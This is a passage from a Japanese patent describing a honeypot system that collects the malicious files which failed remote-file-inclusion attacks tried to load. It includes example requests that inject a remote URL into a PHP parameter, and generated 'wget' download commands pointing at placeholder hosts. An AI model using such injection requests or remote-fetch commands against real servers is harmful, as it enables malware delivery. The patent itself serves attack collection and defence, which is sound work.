(57)【特許請求の範囲】
【請求項１】
サーバ端末の通信を監視するコンピュータによるファイル収集監視方法であって、
前記コンピュータが、
ネットワーク上の任意のファイルを前記サーバ端末に取得させる要求である動作実行要求を外部から受信する受信ステップと、
前記受信ステップによって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定ステップと、
前記判定ステップによって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定ステップと、
前記特定ステップによって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成ステップと、
前記生成ステップによって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得ステップと、
を含み、
前記特定ステップは、前記動作実行要求に含まれる文字列の特徴を参照して、当該動作実行要求に応じた動作を実行する実行ステップを特定し、特定した実行ステップに前記動作実行要求に応じた動作を実行させることにより、前記統一資源位置指定子を特定することを特徴とするファイル収集監視方法。
【請求項２】
前記特定ステップは、前記動作実行要求の文字列において予め定められた第１の文字列から別に定められた第２の文字列の直前までの文字列を前記統一資源位置指定子として特定することを特徴とする請求項１に記載のファイル収集監視方法。
【請求項３】
前記取得ステップによって取得された前記任意のファイルに新たな動作実行要求が含まれていた場合に、当該新たな動作実行要求の文字列において予め定められた第１の文字列から別に定められた第２の文字列の直前までの文字列を新たな統一資源位置指定子として特定する取得後特定ステップをさらに含んだことを特徴とする請求項１又は２に記載のファイル収集監視方法。
【請求項４】
前記取得ステップによって取得された前記任意のファイルに新たな動作実行要求が含まれていた場合に、当該新たな動作実行要求の文字列の特徴を参照して、当該新たな動作実行要求に応じた動作を実行する実行ステップを特定し、特定した実行ステップに前記新たな動作実行要求に応じた動作を実行させることにより、新たな統一資源位置指定子を特定する取得後特定ステップをさらに含んだことを特徴とする請求項１に記載のファイル収集監視方法。
【請求項５】
前記取得ステップは、前記ファイル取得要求をネットワークに送出する前段階で、統一資源位置指定子を記憶する記憶部を参照し、現時点で取得しようとしているファイルの統一資源位置指定子が記憶されているか否かを判定し、当該統一資源位置指定子が前記記憶部に記憶されていないことを条件に、前記ファイル取得要求をネットワークに送出することを特徴とする請求項１に記載のファイル収集監視方法。
【請求項６】
前記特定ステップは、前記動作実行要求が符号化されていた場合には、当該動作実行要求を復号化させ、復号化させた動作実行要求の文字列を解析して、前記任意のファイルの統一資源位置指定子を特定することを特徴とする請求項１〜５のいずれか１つに記載のファイル収集監視方法。
【請求項７】
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信部と、
前記受信部によって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定部と、
前記動作実行要求に応じた動作を実行する実行部と、
前記判定部によって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定部と、
前記特定部によって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成部と、
前記生成部によって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得部と、
を有し、
前記特定部は、前記動作実行要求に含まれる文字列の特徴を参照して、当該動作実行要求に応じた動作を実行する実行部を特定し、特定した実行部に前記動作実行要求に応じた動作を実行させることにより、前記統一資源位置指定子を特定することを特徴とするファイル収集監視装置。
【請求項８】
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信手順と、
前記受信手順によって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定手順と、
前記動作実行要求に応じた動作を実行する実行手順と、
前記判定手順によって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定手順と、
前記特定手順によって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成手順と、
前記生成手順によって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得手順と、
をコンピュータに実行させ、
前記特定手順は、前記動作実行要求に含まれる文字列の特徴を参照して、当該動作実行要求に応じた動作を実行する実行手順を特定し、特定した実行手順に前記動作実行要求に応じた動作を実行させることにより、前記統一資源位置指定子を特定することを特徴とするファイル収集監視プログラム。
【発明の詳細な説明】
【技術分野】
【０００１】
この発明は、ファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムに関する。
【背景技術】
【０００２】
従来、インターネットの普及に伴い、個人情報の管理やアプリケーションの配信を実施するサーバに対するサイバー攻撃が急増している。サイバー攻撃の代表例としては、攻撃者が正規ユーザのサーバや端末に不正アクセスするために用いる攻撃ツールプログラムであるマルウェアを利用したＤＤｏＳ（Distributed Denial of Services）攻撃やスパム送信、情報盗難などが知られている。これらの攻撃の多くは、既存のサーバを乗っ取り、踏み台として他のサーバを攻撃する形で実施される。
【０００３】
これらの攻撃に対処するために、サーバ間を送受信されるパケットのデータやヘッダの内容に応じて通信を制御するアクセス制御技術が知られている。例えば、アクセス制御技術では、ルータ等のパケット転送装置にファイアウォール（Firewall）機能と転送データ監視機能とを実装することでサーバ監視機能を構築し、構築したサーバ監視機能によりパケットの通信を制御する。
【０００４】
このアクセス制御技術では、まず、セキュリティベンダが既存の攻撃を収集して解析して、攻撃者がサーバに対して取りうる送信メッセージのパターンをシグネチャ化する。そして、アクセス制御技術では、シグネチャにマッチする送信メッセージをサーバ監視機能によってフィルタすることにより、攻撃者の不正アクセスからサーバを防御する。
【０００５】
ここで、既存の攻撃を収集解析する手法としては、例えば、ハニーポット（Honeypot）が知られている。ハニーポットは、低対話型と高対話型とに分類される。低対話型ハニーポットは、特定のオペレーションシステムやアプリケーションなどのソフトウェアの動作をエミュレートして攻撃を監視する。高対話型ハニーポットは、脆弱性が存在する実際のソフトウェアで攻撃を監視する。
【０００６】
すなわち、低対話型ハニーポットは、エミュレートした範囲に機能が制限されるため、攻撃の被害を受けることなく、比較的安全に攻撃の情報を収集することができるものの、収集可能な情報が制限される。一方、高対話型ハニーポットは、実際に攻撃を受けてから挙動を観測するため、攻撃に伴う被害が発生する可能性があるものの、低対話型ハニーポットよりも攻撃時の情報を詳細に観測できる。これらにより、収集可能な攻撃の情報量は、高対話型ハニーポットがより有用となる。
【先行技術文献】
【非特許文献】
【０００７】
【非特許文献１】八木毅、谷本直人、針生剛男、伊藤光恭、“高対話型Ｗｅｂハニーポットにおける攻撃情報収集方式の改善”情報処理学会、コンピュータセキュリティシンポジウム２００９
【発明の概要】
【発明が解決しようとする課題】
【０００８】
しかしながら、上述した従来技術では、攻撃対象への攻撃に関する検知精度が低下するという課題がある。具体的には、従来技術に係る高対話型ハニーポットでは、攻撃対象として狙われたプログラムの配置箇所とリクエストの宛先ＵＲＬ（Uniform  Resource  Locator）に記述されたパスが一致しない等の理由により攻撃が失敗する場合がある。かかる場合には、攻撃を受け付けられないメッセージ等を攻撃者側に送信することしかできない。すなわち、従来技術に係る高対話型ハニーポットでは、攻撃に関する多くの情報を収集することができない。
【０００９】
また、攻撃に関する多くの情報を収集するために、攻撃を故意に成功させたとしても、プログラムの実際の配置箇所とパスが大きく異なる攻撃は失敗してしまうので、当該攻撃に関する情報はほとんど収集できない。これらのことから、従来技術では、多数の攻撃を収集したとしても、攻撃の総情報量において防御に利用可能な攻撃の情報量の割合が減少するので、攻撃対象への攻撃に関する検知精度が低下する。
【００１０】
そこで、本願に開示する技術は、上記に鑑みてなされたものであって、攻撃対象への攻撃に関する検知精度を向上させることが可能なファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムを提供することを目的とする。
【課題を解決するための手段】
【００１１】
上述した課題を解決し、目的を達成するため、開示の方法は、受信ステップが、ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する。そして、判定ステップが、前記受信ステップによって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する。そして、特定ステップが、前記判定ステップによって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する。そして、生成ステップが、前記特定ステップによって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する。そして、取得ステップが、前記生成ステップによって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する。
【発明の効果】
【００１２】
開示の方法は、攻撃対象への攻撃に関する検知精度を向上させることを可能にする。
【図面の簡単な説明】
【００１３】
【図１】図１は、実施例１に係るファイル収集監視装置を適用するネットワークモデルの一例を示す図である。
【図２】図２は、実施例１に係るファイル収集監視装置の構成の一例を説明するための図である。
【図３】図３は、転送先特定部が記憶するテーブル１を説明するための図である。
【図４】図４は、転送先特定部が記憶するテーブル２を説明するための図である。
【図５】図５は、アクセスデータ管理部によって記憶される宛先ＵＲＬのリストの一例を説明するための図である。
【図６】図６は、文字列解析環境による処理の一例を説明するための図である。
【図７】図７は、データ受信部アクセス監視部によるファイル取得要求の生成の一例を説明するための図である。
【図８】図８は、動作環境による処理の一例を説明するための図である。
【図９】図９は、実施例１に係るファイル収集監視装置によるリクエスト解析処理の手順を示すシーケンス図である。
【図１０】図１０は、実施例１に係るファイル収集監視装置によるファイル取得要求送信処理の手順を示すシーケンス図である。
【図１１】図１１は、実施例１に係るファイル収集監視装置によるファイル解析処理の手順を示すシーケンス図である。
【図１２】図１２は、実施例１に係るファイル収集監視装置によるデータの保存処理の手順を示すシーケンス図である。
【図１３】図１３は、デコード処理に用いられるテーブルの一例を説明するための図である。
【図１４】図１４は、実施例１とは異なるネットワークモデル１を説明するための図である。
【図１５】図１５は、実施例１とは異なるネットワークモデル２を説明するための図である。
【図１６】図１６は、本実施例に係るファイル収集監視プログラムを実行するコンピュータ１０００を示す図である。
【発明を実施するための形態】
【００１４】
以下に添付図面を参照して、本願の開示するファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムの実施例を詳細に説明する。なお、本願の開示するファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムは、以下の実施例により限定されるものではない。
【実施例１】
【００１５】
［実施例１に係るファイル収集監視装置の構成］
まず、実施例１に係るファイル収集監視装置の構成について説明する。図１は、実施例１に係るファイル収集監視装置を適用するネットワークモデルの一例を示す図である。図１に示すネットワークモデルでは、ネットワーク１にネットワーク２と、ネットワーク３と、ファイル収集監視装置６とを有する。
【００１６】
ネットワーク１は、例えば、インターネットなどの広域なネットワークや、企業ネットワークなどの比較的狭域なネットワークであり、図１に示すように、ネットワーク２及びネットワーク３を収容する。ネットワーク２及びネットワーク３は、図１に示すように、それぞれユーザ端末２１とサーバ端末３１とを収容する。なお、図１においては、ネットワーク２及びネットワーク３それぞれにユーザ端末２１とサーバ端末３１とが１台ずつ示されているが、実際には、ネットワーク２及びネットワーク３には、複数のユーザ端末とサーバ端末とが収容されている。
【００１７】
ユーザ端末２１は、ネットワーク１上に配置された他の通信装置と通信する。例えば、ユーザ端末２１は、ファイル収集監視装置６と通信する。サーバ端末３１は、ネットワーク１上に配置された他の通信装置と通信する。例えば、サーバ端末３１は、ファイル収集監視装置６と通信する。
【００１８】
ここで、図１に示すネットワークモデルにおけるサイバー攻撃の一例を説明する。例えば、攻撃者は、ユーザ端末２１を用いてサーバ端末３１にマルウェアを感染させることで、マルウェアをダウンロードさせるマルウェア配布サーバを準備する。そして、攻撃者は、検索エンジン等を利用して、脆弱なプログラムを搭載したサーバを特定する。
【００１９】
その後、攻撃者は、ユーザ端末２１を用いて、特定したサーバに対してプログラムの脆弱性を利用したｅｘｐｌｏｉｔコードなどを送信することで、特定したサーバにマルウェア配布サーバからマルウェアをダウンロードさせる。このように、攻撃者は、脆弱なプログラムを搭載したサーバに対して所定の処理を実行させるリクエストを送信し、リクエストを受信したサーバにリクエストに対するレスポンスを実行させる。
【００２０】
実施例１に係るファイル収集監視装置６は、図１に示すように、サーバ端末部６１と、データ転送部６２と、データ受信部６３とを有し、上述したリクエストやレスポンスに係る各種情報を収集する。例えば、ファイル収集監視装置６は、高対話型ハニーポットが構築され、リクエストやレスポンスに係る各種情報を収集する。ファイル収集監視装置６の詳細について、図２を用いて説明する。図２は、実施例１に係るファイル収集監視装置６の構成の一例を説明するための図である。
【００２１】
サーバ端末部６１は、通常のサーバ端末と同様の機能を有する。例えば、サーバ端末部６１は、Ｗｅｂサーバとして機能する。かかる場合には、サーバ端末部６１は、ＷｅｂアプリケーションをはじめとしたＷｅｂサーバの構築に用いられる各種ソフトウェアやデータベースを有する。例えば、ファイル収集監視装置６に高対話型ハニーポットが構築される場合には、サーバ端末部６１には脆弱なアプリケーションが搭載される。
【００２２】
例を挙げると、サーバ端末部６１は、Ｗｅｂサーバとして機能する場合には、ユーザ端末２１を用いて攻撃者が送信したＨＴＴＰ（Hypertext Transfer Protocol）リクエストに対するレスポンスを実行する。ここで、サーバ端末部６１は、ＨＴＴＰリクエストに記述されたパスと、自装置における脆弱なアプリケーションの配置箇所とが一致しない等の場合には、レスポンスとして、ユーザ端末２１にエラーメッセージを送信する。
【００２３】
以下では、サーバ端末部６１がＷｅｂサーバとして機能する場合を例に挙げて説明する。なお、サーバ端末部６１は、Ｗｅｂサーバに限定されるものではなく、例えば、ＦＴＰサーバとして機能する場合であってもよい。また、以下では、ＨＴＴＰリクエストをリクエストと記載する場合がある。
【００２４】
データ転送部６２は、図２に示すように、サーバ送受信アクセス監視部６２１と、転送先特定部６２２と、データ受信部アクセス監視部６２３と、アクセスデータ管理部６２４と、解析データ収集部６２５とを有する。
【００２５】
サーバ送受信アクセス監視部６２１は、サーバ端末部６１と、ネットワーク２、ネットワーク３との中継機能を有する。具体的には、サーバ送受信アクセス監視部６２１は、サーバ端末部６１と、ネットワーク２、ネットワーク３との間で送受信されるデータを中継し、中継したデータを記憶するとともに、記憶したデータのコピーを後述するアクセスデータ管理部６２４又は解析データ収集部６２５に送信する。
【００２６】
例えば、サーバ送受信アクセス監視部６２１は、ユーザ端末２１から受信したリクエストをサーバ端末部６１に送信するとともに、当該リクエストの内容を記憶して、記憶したリクエストのコピーを後述する解析データ収集部６２５に送信する。また、サーバ送受信アクセス監視部６２１は、サーバ端末部６１から受信したレスポンスをネットワーク２又は３に送信するとともに、当該レスポンスの内容を記憶して、記憶したレスポンスのコピーを後述する解析データ収集部６２５に送信する。
【００２７】
ここで、サーバ送受信アクセス監視部６２１は、サーバ端末部６１から受信したレスポンスがエラーメッセージであるか否かを判定する。例えば、サーバ送受信アクセス監視部６２１は、レスポンス内にエラーコードが含まれているか否かにより、レスポンスがエラーメッセージであるか否かを判定する。
【００２８】
ここで、レスポンスがエラーメッセージであった場合には、サーバ送受信アクセス監視部６２１は、当該レスポンスに対応するリクエストをコピーして、コピーしたリクエストを後述する転送先特定部６２２に送信する。
【００２９】
一方、レスポンスがエラーメッセージではなく、サーバ端末部６１がリクエストに対してファイル取得要求を送信した場合には、サーバ送受信アクセス監視部６２１は、ファイル取得要求をネットワーク２又は３に送信するとともに、ファイル取得要求に含まれるＵＲＬを抽出して、後述するアクセスデータ管理部６２４に送信する。さらに、サーバ送受信アクセス監視部６２１は、ファイル取得要求によって取得したファイル及びファイル取得要求に含まれるＵＲＬを後述する解析データ収集部６２５に送信する。
【００３０】
またさらに、サーバ送受信アクセス監視部６２１は、ユーザ端末２１からリクエストを受信する前のサーバ端末部６１の状態を保持しておき、ネットワーク２又は３に対してレスポンスを送信した後に、サーバ端末部６１をリクエスト受信前の状態に復帰させる。すなわち、サーバ送受信アクセス監視部６２１は、サーバ端末部６１を攻撃を受信する前の状態に戻す。
【００３１】
転送先特定部６２２は、サーバ送受信アクセス監視部６２１及び後述するデータ受信部アクセス監視部６２３それぞれから受信したリクエスト及びファイルの内容を参照して、リクエスト及びファイルの転送先を決定する。具体的には、転送先特定部６２２は、リクエスト及びファイルの転送先を決定するためのテーブルを有し、リクエスト又はファイルを受信した場合に、当該テーブルを参照してリクエスト又はファイルの解析が可能である転送先を決定する。以下では、リクエストを受信した場合の処理を説明した後に、ファイルを受信した場合の処理について説明する。
【００３２】
まず、転送先特定部６２２がリクエストを受信した場合の処理について説明する。図３は、転送先特定部６２２が記憶するテーブル１を説明するための図である。例えば、転送先特定部６２２は、図３に示すように、リクエストを受信した場合に参照するテーブルとして、プログラムと動作環境とが対応付けられたテーブル１を有する。
【００３３】
例を挙げると、転送先特定部６２２は、図３に示すように、「プログラム：ＰＨＰ（Hypertext Preprocessor）」と「動作環境：動作環境６３２」とが対応付けられたテーブル１を有する。上記した例は、後述するデータ受信部６３の動作環境６３２がＰＨＰプログラムの動作環境として機能するように構築されていることを意味している。同様に、転送先特定部６２２は、図３に示すように、「プログラム：ＡＳＰ（Application Service Provider）」と「動作環境：動作環境６３３」とが対応付けられたテーブル１を有する。なお、テーブル１は、ファイル収集監視装置６の管理者によって動作環境が構築された際に予め設定される。
【００３４】
転送先特定部６２２は、サーバ送受信アクセス監視部６２１からリクエストを受信した場合に、まず、リクエストの宛先のファイル名の拡張子を参照して、リクエストに応答するプログラムを特定する。そして、転送先特定部６２２は、テーブル１を参照して、特定したプログラムに対応する動作環境があるか否かを判定する。
【００３５】
ここで、特定したプログラムに対応する動作環境がテーブル１にある場合には、転送先特定部６２２は、サーバ送受信アクセス監視部６２１から受信したリクエストをプログラムに対応する動作環境に転送する。例えば、転送先特定部６２２は、テーブル１を参照して、ＰＨＰプログラムに応答するリクエストを動作環境６３２に転送する。
【００３６】
一方、特定したプログラムに対応する動作環境がテーブル１にない場合、或いは、プログラムを特定できない場合には、転送先特定部６２２は、サーバ送受信アクセス監視部６２１から受信したリクエストを後述する文字列解析環境６３１に転送する。
【００３７】
次に、転送先特定部６２２がファイルを受信した場合の処理について説明する。なお、転送先特定部６２２がファイルを受信するタイミングなどについては、後に詳述する。図４は、転送先特定部６２２が記憶するテーブル２を説明するための図である。
【００３８】
例えば、転送先特定部６２２は、図４に示すように、ファイルを受信した場合に参照するテーブルとして、プログラム言語と動作環境とが対応付けられたテーブル２を有する。例を挙げると、転送先特定部６２２は、図４に示すように、「プログラム言語：ＰＨＰ」と「動作環境：動作環境６３２」とが対応付けられたテーブル２を有する。上記した例は、後述するデータ受信部６３の動作環境６３２がＰＨＰスクリプトの動作環境として機能するように構築されていることを意味している。同様に、転送先特定部６２２は、図４に示すように、「プログラム言語：Ｐｅｒｌ」と「動作環境：動作環境６３３」とが対応付けられたテーブル２を有する。なお、テーブル２は、ファイル収集監視装置６の管理者によって動作環境が構築された際に予め設定される。
【００３９】
転送先特定部６２２は、後述するデータ受信部アクセス監視部６２３からファイルを受信した場合に、まず、ファイルの内容がどのようなプログラム言語で記述されているのかを特定する。例えば、転送先特定部６２２は、ファイルに記載された関数の文字列からファイルの内容がどのようなプログラム言語で記述されているのかを特定する。そして、転送先特定部６２２は、テーブル２を参照して、特定したプログラム言語に対応する動作環境があるか否かを判定する。
【００４０】
ここで、特定したプログラム言語に対応する動作環境がテーブル２にある場合には、転送先特定部６２２は、後述するデータ受信部アクセス監視部６２３から受信したファイルをプログラム言語に対応する動作環境に転送する。例えば、転送先特定部６２２は、テーブル２を参照して、ＰＨＰで記述されたファイルを動作環境６３２に転送する。
【００４１】
なお、転送先特定部６２２は、転送先においてリクエストやファイルを動作させることができなかった場合に、他の転送先に同一のリクエストやファイルを送信して動作が発生する環境を探索する機能を有することが可能である。かかる場合には、他の転送先として後述する文字列解析環境６３１を優先的に選択するように設定することで、早期に動作を発生させることが可能となる。
【００４２】
データ受信部アクセス監視部６２３は、後述するデータ受信部６３から文字列又はファイル取得要求を受信する。ここで、データ受信部６３から文字列を受信した場合には、データ受信部アクセス監視部６２３は、受信した文字列を宛先ＵＲＬとしたファイル取得要求を生成してネットワーク２又は３に送信する。一方、データ受信部６３からファイル取得要求を受信した場合には、データ受信部アクセス監視部６２３は、受信したファイル取得要求をネットワーク２又は３に送信する。なお、データ受信部アクセス監視部６２３によって生成されるファイル取得要求やデータ受信部６３から受信する文字列及びファイル取得要求については、後に詳述する。
【００４３】
そして、データ受信部アクセス監視部６２３は、送信したファイル取得要求に対応するファイルをネットワーク２又は３から受信する。さらに、データ受信部アクセス監視部６２３は、受信したファイルと当該ファイルの取得要求の宛先ＵＲＬとを後述する解析データ収集部６２５に送信する。また、データ受信部アクセス監視部６２３は、ファイル取得要求を送信してファイルを受信した宛先ＵＲＬを後述するアクセスデータ管理部６２４に送信する。
【００４４】
ここで、データ受信部アクセス監視部６２３は、取得対象外のファイルを取得することがないように、ファイル取得要求を送信する前に、ファイル取得要求の宛先ＵＲＬが取得対象外のファイルのＵＲＬであるか否かを判定する。具体的には、データ受信部アクセス監視部６２３は、文字列又はファイル取得要求を受信した際に、宛先ＵＲＬが記憶されているか否かの判定をアクセスデータ管理部６２４に要求し、記憶されていなかった場合に、ファイル取得要求をネットワーク２又は３に送信する。
【００４５】
アクセスデータ管理部６２４は、取得対象外のファイルのＵＲＬを記憶する。具体的には、アクセスデータ管理部６２４は、取得対象外のファイルのＵＲＬとして、取得済みのファイルのＵＲＬや予め取得を禁止されたファイルのＵＲＬを記憶する。
【００４６】
例えば、アクセスデータ管理部６２４は、取得済みのファイルのＵＲＬとして、サーバ送受信アクセス監視部６２１及びデータ受信部アクセス監視部６２３から受信した宛先ＵＲＬを記憶する。図５は、アクセスデータ管理部６２４によって記憶される宛先ＵＲＬのリストの一例を説明するための図である。例えば、アクセスデータ管理部６２４は、図５に示すように、「http://ex3.com/z.txt」、「http://ex4.com/z.txt」、「http://ex8.com/z.txt」、「http://ex10.com/z.txt」などが含まれる宛先ＵＲＬのリストを記憶する。
【００４７】
また、アクセスデータ管理部６２４は、予め取得を禁止されたファイルのＵＲＬとして、ファイル収集監視装置６の管理者によって指定されたＵＲＬを記憶する。例えば、アクセスデータ管理部６２４は、予め取得を禁止されたファイルのＵＲＬとして、「.html」を記憶する。
【００４８】
そして、アクセスデータ管理部６２４は、データ受信部アクセス監視部６２３から宛先ＵＲＬが記録されているか否かの問い合わせを受付けると、記憶しているＵＲＬのリストを参照して宛先ＵＲＬを記憶しているか否かを判定する。そして、アクセスデータ管理部６２４は、判定結果をデータ受信部アクセス監視部６２３に通知する。
【００４９】
例えば、アクセスデータ管理部６２４は、宛先ＵＲＬが記録されているか否かの問い合わせを受付けると、図５に示す取得済みのファイルのＵＲＬのリストを参照して、宛先ＵＲＬと同一のＵＲＬを記憶しているか否かを判定する。
【００５０】
また、アクセスデータ管理部６２４は、宛先ＵＲＬが記録されているか否かの問い合わせを受付けると、宛先ＵＲＬと予め取得を禁止されたファイルのＵＲＬとを比較する。そして、アクセスデータ管理部６２４は、ＵＲＬの「全一致」、「後方一致」、「部分一致」を用いて、宛先ＵＲＬが取得対象外のファイルのＵＲＬであるか否かを判定する。
【００５１】
なお、「全一致」とは、宛先ＵＲＬとファイル取得対象外のＵＲＬとが完全に一致することを意味している。また、「後方一致」とは、宛先ＵＲＬの文字列の後方が指定された文字列と一致することを意味している。また、「部分一致」とは、宛先ＵＲＬに含まれる任意の文字列が指定された文字列と一致することを意味している。
【００５２】
例えば、アクセスデータ管理部６２４は、宛先ＵＲＬの最後尾が「.html」である宛先ＵＲＬを取得対象外のファイルのＵＲＬとして判定する。このように、アクセスデータ管理部６２４がＵＲＬの「全一致」、「後方一致」、「部分一致」によりＵＲＬの判定を行う場合には、取得対象外のファイルのＵＲＬのリストの各エントリに「全一致」、「後方一致」、「部分一致」のうちどれを適用するかのフラグを対応付けて記憶させる。すなわち、全てのフラグが立っている場合には、全監視方法が適用されることになる。 
【００５３】
なお、アクセスデータ管理部６２４が記憶するＵＲＬは、取得済みのファイルのＵＲＬ、又は、予め取得を禁止されたファイルのＵＲＬのどちらか一方、或いは、その両方である場合であってもよい。
【００５４】
解析データ収集部６２５は、リクエスト及びレスポンスに係る各種情報を記憶する。具体的には、解析データ収集部６２５は、サーバ送受信アクセス監視部６２１やデータ受信部アクセス監視部６２３から受信したファイルや宛先ＵＲＬ、リクエスト及びレスポンスの内容などを記憶する。
【００５５】
データ受信部６３は、図２に示すように、文字列解析環境６３１と、動作環境６３２と、動作環境６３３とを有する。文字列解析環境６３１は、転送先特定部６２２から受信したリクエストから任意の文字列を抽出して抽出した文字列をデータ受信部アクセス監視部６２３に送信する。具体的には、文字列解析環境６３１は、任意の文字を先頭とし、そこから他の任意の文字までの文字列を抽出する。図６は、文字列解析環境６３１による処理の一例を説明するための図である。
【００５６】
例えば、文字列解析環境６３１は、図６に示すように、まず、転送先特定部６２２から受信したリクエスト「http://www.ex.com/a/b/c.ｚｚｚ?dir=http://ex1.com/z.txt?」から入力データ「dir=http://ex1.com/z.txt?」を抽出する。そして、文字列解析環境６３１は、「http」を先頭とした、「?」までの文字列「http://ex1.com/z.txt」を抽出し、抽出した文字列「http://ex1.com/z.txt」をデータ受信部アクセス監視部６２３に送信する。
【００５７】
例えば、データ受信部アクセス監視部６２３は、文字列解析環境６３１から文字列「http://ex1.com/z.txt」を受信すると、図７に示すように、ファイル取得要求「# wget http://ex1.com/z.txt」を生成する。なお、図７は、データ受信部アクセス監視部６２３によるファイル取得要求の生成の一例を説明するための図である。
【００５８】
ここで、先頭とする任意の文字としては、「http」のほかに、例えば、「https」や「ftp」などが用いられる。また、抽出する文字列の後の文字としては、「?」のほかに、例えば「;」などが用いられる。すなわち、ファイル収集監視装置６は、上記した文字列を利用することで、以下に説明するように、ＵＲＬの特定を自動的かつ高精度に行うことを可能にする。
【００５９】
ＵＲＬの先頭には、メソッドを指定する文字列（例えば、「http」や「ftp」など）が必須である。さらに、リクエストには、入力データをサーバ端末上のプログラムに引き渡させるために、特定文字列（例えば、入力データの値の直後の「?」）が指定されている。従って、リクエストの入力データからＵＲＬを抽出する場合に、先頭の文字列と直後の文字列とを指定することで、ＵＲＬを自動的かつ高精度に特定することが可能である。
【００６０】
また、文字列解析環境６３１は、転送先特定部６２２からファイルを受信した場合には、当該ファイル内に他のファイルを取得する命令列があるか否かを判定する。例えば、文字列解析環境６３１は、ファイル内に「wgetコマンド」や「curlコマンド」があるか否かを判定する。ここで、受信したファイル内に他のファイルを取得する命令列があった場合には、文字列解析環境６３１は、当該命令列を抽出してデータ受信部アクセス監視部６２３に送信する。
【００６１】
動作環境６３２及び動作環境６３３は、任意のプログラムや任意のプログラム言語に対して動作する動作環境である。例えば、動作環境６３２は、ＰＨＰプログラムの動作環境として管理者によって構築される。図８は、動作環境による処理の一例を説明するための図である。図８に示すように、動作環境６３２は、転送先特定部６２２から拡張子「php」が含まれるリクエスト「http://www.ex.com/a/b/c.php?dir=http://ex2.com/z.txt?」を受信すると、ファイル取得要求「# wget http://ex2.com/z.txt」を抽出して、データ受信部アクセス監視部６２３に送信する。
【００６２】
なお、上述した例では、２つの動作環境を用いる場合について説明したが、開示の技術はこれに限定されるものではなく、動作環境の数は任意の変更することができ、例えば、３つ以上の動作環境を設ける場合であってもよい。そして、例えば、新たにＰｙｔｈｏｎスクリプトを動作させる動作環境を追加する場合には、データ受信部６３に動作環境を追加し、転送先特定部６２２のテーブル２を更新すればよい。
【００６３】
また、上述した例では、サーバ送受信アクセス監視部６２１が、リクエストをサーバ端末部６１に送信して、サーバ端末部６１からエラーメッセージを受信したか否かにより、ファイル取得が失敗したか否かを判定する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、サーバ送受信アクセス監視部６２１が、リクエストを受信した場合に、サーバ端末部６１によるファイルの取得が失敗するか否かを判定する場合であってもよい。
【００６４】
かかる場合には、例えば、サーバ送受信アクセス監視部６２１にサーバ端末部６１上のパス構造のデータを予め保有させておく。そして、サーバ送受信アクセス監視部６２１が、リクエストを受信した場合に、宛先ＵＲＬのパスと保有しているパス構造のデータとを比較する。ここで、サーバ送受信アクセス監視部６２１は、リクエストの宛先ＵＲＬに記述されたパスがサーバ端末部６１上に存在していない場合に、サーバ端末部６１によるファイルの取得が失敗すると判定する。この場合には、サーバ送受信アクセス監視部６２１は、サーバ端末部６１にリクエストを送信することなく、リクエストのコピーを転送先特定部６２２に送信する。このように、開示の技術は、サーバ端末によるファイル取得の失敗を事前に検知する方法も適用可能である。
【００６５】
［実施例１に係るファイル収集監視装置による処理の手順］
次に実施例１に係るファイル収集監視装置６による処理の手順を説明する。
【００６６】
［実施例１に係るファイル収集監視装置によるリクエスト解析処理の手順］
図９は、実施例１に係るファイル収集監視装置６によるリクエスト解析処理の手順を示すシーケンス図である。図９に示すように、実施例１に係るファイル収集監視装置６においては、ネットワークからリクエストを受信すると（ステップＳ１０１）、サーバ送受信アクセス監視部６２１は、サーバ端末部６１にリクエストを送信する（ステップＳ１０２）。
【００６７】
そして、サーバ送受信アクセス監視部６２１は、サーバ端末部６１からレスポンスを受信すると（ステップＳ１０３）、ネットワークにレスポンスを送信し（ステップＳ１０４）、レスポンスがエラーメッセージか否かを判定する（ステップＳ１０５）。ここで、レスポンスがエラーメッセージであった場合には（ステップＳ１０５肯定）、サーバ送受信アクセス監視部６２１は、リクエストのコピーを転送先特定部６２２に送信する（ステップＳ１０６）。
【００６８】
転送先特定部６２２は、リクエストのコピーを受信すると、転送先を特定し（ステップＳ１０７）、リクエストのコピーを送信する（ステップＳ１０８）。文字列解析環境６３１、動作環境６３２又は動作環境６３３は、リクエストのコピーを受信すると、文字列又はファイル取得要求を抽出する（ステップＳ１０９）。なお、ステップ１０５の判定においてレスポンスがエラーメッセージではなかった場合には（ステップＳ２０５肯定）、ファイル収集監視装置６は、リクエストの解析処理を実行しない。
【００６９】
［実施例１に係るファイル収集監視装置によるファイル取得要求送信処理の手順］
